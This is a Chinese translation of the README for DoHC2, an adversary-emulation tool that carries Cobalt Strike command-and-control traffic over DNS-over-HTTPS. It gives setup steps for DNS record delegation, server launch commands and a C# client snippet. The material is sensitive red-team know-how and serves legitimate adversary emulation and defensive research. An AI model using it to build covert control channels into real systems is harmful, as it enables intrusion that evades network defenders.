⚠️ 注意:此工具不再处于积极维护状态。
DoHC2
DoHC2 允许通过 HTTPS 上的 DNS (DoH) 利用 Ryan Hanson 的 ExternalC2 库 (https://github.com/ryhanson/ExternalC2) 进行命令与控制 (C2)。该项目专为流行的对抗模拟与红队操作软件 Cobalt Strike (https://www.cobaltstrike.com) 而构建。
演示
该项目于 2018 年 10 月 23 日在 Mitre ATT&CKcon 上发布。
幻灯片:
用 ATT&CK 与安全举措唱反调
博客文章:
DOH!DNS Over HTTPS 可能给企业带来风险
图示

用法
- 安装并启动 Cobaltstrike teamserver。
- 启动一个 beacon_http/beacon_https 监听器 - 注意 这个可以被防火墙隔离,但你需要它才能让 External C2 正常工作。
- 加载脚本 'external_c2.cna' 来启动 ExternalC2 端口 2222(关闭防火墙)。
- 为 python3 服务器安装依赖。
- 允许 53/udp 端口访问互联网(或访问 DoH 提供商的 IP 范围)。
- 在你的域名上创建一个 A 记录,指向 teamserver/DNS 服务器 IP,即 [A] entry.example.org -> 000.000.000.000
- 创建一个 NS 记录,指向用于发送通道 (INPUTDOMAIN) 的 A 记录,即 [NS] send.example.org -> entry.example.org。
- 创建一个 NS 记录,指向用于接收通道 (OUTPUTDOMAIN) 的 A 记录,即 [NS] receive.example.org -> entry.example.org。
- 在 DoHC2.py 中更改 INPUTDOMAIN 和 OUTPUTDOMAIN。更改加密密钥/IV - 这用于加密从 Teamserver 到客户端的路径(仅加密 Stager)。根据 DoH 提供商将 max_records 从 1 更改,某些提供商会重新排序返回的记录,目前尚未处理。DNS 服务器使用最大值 5 效果良好。
- 启动 python3 DNS 服务器。
- 构建 ExternalC2 库。更改 DoHChannel.cs 中的加密密钥/IV 以匹配 python3 服务器。
- 按如下所示配置并启动 DoHC2(),确保设置 INPUTDOMAIN、OUTPUTDOMAIN 以及格式为 'https://resolver.example.org/dns-query' 的 DoH 提供商。
服务器
基于 ACME DNS Server 的 Python DNS 服务器
- 默认情况下,它将原始 DNS 连接到 127.0.0.1:2222 上的 Cobalt Strike Teamserver。
- 将 INPUTDOMAIN 和 OUTPUTDOMAIN 更改为服务器外部 IP 的 NS 主机:
pip3 install -r requirements.txt
sudo python3 ./DoHC2.py
库
在 @ryhanson 的 ExternalC2 基础上增加了以下内容:
客户端示例
- 与 ExternalC2 的其余部分一样,DoHC2 对 JScript/DotNetToJS 是 COMVisible,但这只是启动它的一个简单示例。
- 示例客户端 DoHC2Runner 是一个简单的 C# 程序,用于演示加载库并按如下方式进行设置:
DoHC2 doh = new DoHC2();
doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
doh.Go();
作者
许可证
DoHC2
某些元素由 David Middlehurst、SpiderLabs 创建,如上所述(在使用其他开源项目时,请参阅各自的许可证)。
版权所有 (C) 2018 Trustwave Holdings, Inc.
本程序是自由软件:你可以根据自由软件基金会发布的 GNU 通用公共许可证的条款(许可证的第 3 版或(由你选择的)任何后续版本)重新分发和/或修改它。
分发本程序是希望它会有用,但不提供任何保证;甚至没有适销性或特定用途适用性的隐含保证。有关更多详情,请参阅 GNU 通用公共许可证。
致谢
贡献者